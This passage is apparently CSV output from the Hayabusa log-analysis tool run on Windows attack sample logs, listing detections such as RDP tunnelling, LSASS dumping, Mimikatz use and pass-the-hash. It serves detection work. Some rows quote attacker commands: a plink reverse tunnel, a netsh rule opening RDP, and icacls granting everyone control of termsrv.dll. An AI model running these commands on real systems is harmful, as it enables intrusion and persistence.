0x14a321,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: PC01$ : Target User: admin01 : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4624,high,RDP Login from Localhost,,rules/sigma/builtin/security/win_rdp_localhost_login.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4624,low,Admin User Remote Logon,,rules/sigma/builtin/security/win_admin_rdp_login.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-16 19:02:21.934 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: plink.exe 10.0.2.18 -P 80 -C -R 127.0.0.3:4444:127.0.0.2:3389 -l test -pw test : Path: C:\Users\IEUser\Desktop\plink.exe : User: PC01\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:02:21.934 +09:00,PC01.example.corp,1,high,Suspicious Plink Remote Forwarding,,rules/sigma/process_creation/sysmon_susp_plink_remote_forward.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:02:21.934 +09:00,PC01.example.corp,1,medium,Exfiltration and Tunneling Tools Execution,,rules/sigma/process_creation/win_exfiltration_and_tunneling_tools_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:02:48.502 +09:00,PC01.example.corp,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:03:48.058 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: PC01\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.141 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.151 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.221 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.351 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.892 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.892 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.962 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:05.092 +09:00,PC01.example.corp,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:05.283 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:05.563 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\TSTheme.exe -Embedding : Path: C:\Windows\System32\TSTheme.exe : User: PC01\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:05:26.499 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: PC01\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:06:38.843 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-17 02:54:26.956 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:54:26.956 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:55:47.181 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:55:47.181 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:57:41.475 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:57:41.475 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.522 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-03-18 04:09:41.328 +09:00,PC04.example.corp,11,high,LSASS Memory Dump File Creation,,rules/sigma/file_event/sysmon_lsass_memory_dump_file_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:09:41.328 +09:00,PC04.example.corp,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:10:03.991 +09:00,PC04.example.corp,11,high,LSASS Memory Dump File Creation,,rules/sigma/file_event/sysmon_lsass_memory_dump_file_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:10:03.991 +09:00,PC04.example.corp,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:26:42.116 +09:00,PC04.example.corp,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/net_share_drive_5142.evtx +2019-03-18 04:37:11.661 +09:00,PC04.example.corp,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_lsass_mimikatz_sekurlsa_logonpasswords.evtx +2019-03-18 04:37:11.661 +09:00,PC04.example.corp,10,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_lsass_mimikatz_sekurlsa_logonpasswords.evtx +2019-03-18 04:37:11.661 +09:00,PC04.example.corp,10,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_lsass_mimikatz_sekurlsa_logonpasswords.evtx +2019-03-18 04:37:11.661 +09:00,PC04.example.corp,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_lsass_mimikatz_sekurlsa_logonpasswords.evtx +2019-03-18 05:17:52.949 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\install.bat"" : Path: C:\Windows\System32\cmd.exe : User: PC04\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:17:52.979 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\RDPWInst"" -i -o : Path: C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\RDPWInst.exe : User: PC04\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\install.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:05.086 +09:00,PC04.example.corp,13,high,RDP Sensitive Settings Changed,,rules/sigma/registry_event/sysmon_rdp_settings_hijack.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.282 +09:00,PC04.example.corp,13,high,RDP Registry Modification,,rules/sigma/registry_event/sysmon_rdp_registry_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.282 +09:00,PC04.example.corp,13,high,RDP Sensitive Settings Changed,,rules/sigma/registry_event/sysmon_rdp_settings_hijack.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.312 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: netsh advfirewall firewall add rule name=""Remote Desktop"" dir=in protocol=tcp localport=3389 profile=any action=allow : Path: C:\Windows\System32\netsh.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\RDPWInst"" -i -o",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.312 +09:00,PC04.example.corp,1,medium,Netsh Port or Application Allowed,,rules/sigma/process_creation/win_netsh_fw_add.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.312 +09:00,PC04.example.corp,1,high,Netsh RDP Port Opening,,rules/sigma/process_creation/win_netsh_allow_port_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.643 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {995C996E-D918-4a8c-A302-45719A6F4EA7} -Embedding : Path: C:\Windows\System32\rundll32.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:12.096 +09:00,PC04.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 220 : Path: C:\Windows\System32\UI0Detect.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:14.512 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" : Path: C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe : User: PC04\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.907 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\takeown.exe"" /f C:\Windows\System32\termsrv.dll : Path: C:\Windows\System32\takeown.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.917 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\icacls.exe"" C:\Windows\System32\termsrv.dll /grant %%username%%:F : Path: C:\Windows\System32\icacls.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.917 +09:00,PC04.example.corp,1,medium,File or Folder Permissions Modifications,,rules/sigma/process_creation/win_file_permission_modifications.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.927 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\icacls.exe"" C:\Windows\System32\termsrv.dll /grant *S-1-1-0:(F) : Path: C:\Windows\System32\icacls.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.927 +09:00,PC04.example.corp,1,medium,File or Folder Permissions Modifications,,rules/sigma/process_creation/win_file_permission_modifications.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:23:12.188 +09:00,PC04.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 220 : Path: C:\Windows\System32\UI0Detect.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:43:12.784 +09:00,PC04.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 220 : Path: C:\Windows\System32\UI0Detect.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_13_keylogger_directx.evtx +2019-03-18 05:43:16.309 +09:00,PC04.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_13_keylogger_directx.evtx +2019-03-18 20:06:25.485 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: user01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4624,informational,Logon Type 9 - NewCredentials,User: user01 : Workstation: : IP Address: ::1 : Port: 0 : LogonID: 0x4530f0f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: user01 : LogonID: 0x4530f0f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:27:00.438 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: user01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.231 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: user01 : Target User: administrator : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: RPCSS/WIN-77LTAPHIQ1R.example.corp,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.261 +09:00,PC01.example.corp,4648,medium,Explicit Logon: Suspicious Process,Source User: user01 : Target User: administrator : IP Address: - : Process: C:\Windows\System32\wbem\WMIC.exe : Target Server: 